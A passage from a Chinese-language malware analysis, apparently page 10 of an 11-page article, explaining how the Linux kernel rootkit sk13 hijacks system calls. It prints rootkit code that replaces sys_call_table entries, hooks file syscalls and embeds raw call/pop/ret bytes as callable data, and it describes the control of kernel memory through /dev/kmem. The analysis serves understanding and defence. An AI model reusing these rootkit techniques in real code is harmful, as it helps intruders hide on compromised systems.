首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>病毒分析>文章内容
Linux后门系列--由浅入深sk13完全分析
来源:http://xsec.org 作者:wzt 发布时间:2009-05-04  

       hook(oldlstat);
       hook(oldfstat);
       hook(stat);
       hook(lstat);
       hook(fstat);
       hook(stat64);
       hook(lstat64);
       hook(fstat64);
       hook(creat);
       hook(unlink);
       hook(readlink);
    #endif

    /* 将老的sys_call_table指针入口保存到oldsctp中 */

       memcpy(oldsctp(), sctp, 2 * sizeof(ulong));

    /* 用新的sys_call_table[]替换原来的sys_call_talbe,到此hook系统调用就成功了 */

       *sctp[0] = (ulong) newsct;    /* normal call */
       *sctp[1] = (ulong) newsct;    /* ptraced call */
    }

    到此sk的hook系统调用的过程就结束了。
   
   
    补充:
    kernel.c可为sk13b代码中较为复杂的代码了 ,如果要读懂它,需要对linux代码很熟悉.
    基本上是一些系统调用的替带品,但是有些宏函数不是很好理解,我在这里简单提一下.
   
    DVAR(pid_struc *, pidtab, NULL);
    DVAR(ulong, oldsct, 0);

    DVAR 是个宏调用;

    在Rdata.h中定义如下:

    #define DVAR(type, name, val)    \
       DARR(type, 1, name, val)

    是个宏嵌套,DVRR如下:

    #define DARR(type, count, name, val...) \
       struct s_##name {    \
        uchar    s[5];    \
        type    l[count]; \
        uchar    f[2];    \
    } __attribute__((packed)); \
    static struct s_##name f_##name = \
    {{0xe8, sizeof(f_##name.l) & 0xff, (sizeof(f_##name.l) >> 8) & 0xff, 0, 0},    \
    {val},            \
    {0x58, 0xc3}};        \
    static inline type *name(void) \
    {            \
        type *(*func)() = (void *) &f_##name; \
        return func();    \
    }

    我们把DVAR(pid_struc *, pidtab, NULL);展开后看看

    DVAR(pid_struc *, pidtab, NULL);

    DVRR(pid_struc *, 1,pidtab, NULL);

    struct s_pidtab{
        uchar    s[5];
        pid_struc * l[1];
        uchar       f[2];
    } __attribute__((packed));        /* __attribute__ ((packed)); 是说取消结构在编译过程中的优化对齐 */

    static struct s_pidtab f_pidtab =
       {{0xe8, sizeof(f_pidtab.l) & 0xff, (sizeof(f_pidtab.l) >> 8) & 0xff, 0, 0},   
       {val},           
       {0x58, 0xc3}};   

    static inline type *pidtab(void)
    {           
       pid_struc* *(*func)() = (void *) &f_pidtab;
       return func();   
    }


    DARR(ulong *, 2, oldsctp);

    这下明白oldsctp(),*oldsct(),*pidtab()这几个函数指针是什么意思了吧.

六、总结

    现在对于sk hook系统调用的过程应该很清楚了吧,如果有其他函数或数据不了解的话,
    请参考它的全部代码.同时sk是通过读和写kmem来控制系统的,kmem是一个字符设备文件,
    是计算机主存的一个影象。它可以用于测试甚至修改系统。但在有些系统如fc4上已经
    禁止写kmem了,所以sk13b自然在那些系统不能安装,也时很多sk的爱好者沮丧.
共11页: 上一页 [1] [2] [3] [4] [5] [6] [7] [8] [9] 10 [11] 下一页
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·Word溢出Shellcode分析
·浅谈反病毒技术的前世今生
·Ie0dayCVE0806.c 变种网马样本分
·Web应用漏洞的大规模攻击案例分
·Ie0dayCVE0806网马样本分析
·Witty病毒通过ISS的防火墙产品和
·酷狗音乐首页隐蔽挂马详细分析+7
·Net-Worm.Win32.Dasher(黛蛇)蠕
·熊猫烧香病毒分析与解决方案
·卡巴斯基(AVP)内存驻留型病毒检
·104种木马手工清除方法
·avserve病毒初步分析
  相关文章
·Word溢出Shellcode分析
·酷狗音乐首页隐蔽挂马详细分析+7
·熊猫烧香病毒分析与解决方案
·Ie0dayCVE0806网马样本分析
·Ie0dayCVE0806.c 变种网马样本分
·卡巴斯基(AVP)内存驻留型病毒检
·Net-Worm.Win32.Dasher(黛蛇)蠕
·浅谈反病毒技术的前世今生
·avserve病毒初步分析
·Witty病毒通过ISS的防火墙产品和
·104种木马手工清除方法
·Web应用漏洞的大规模攻击案例分
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved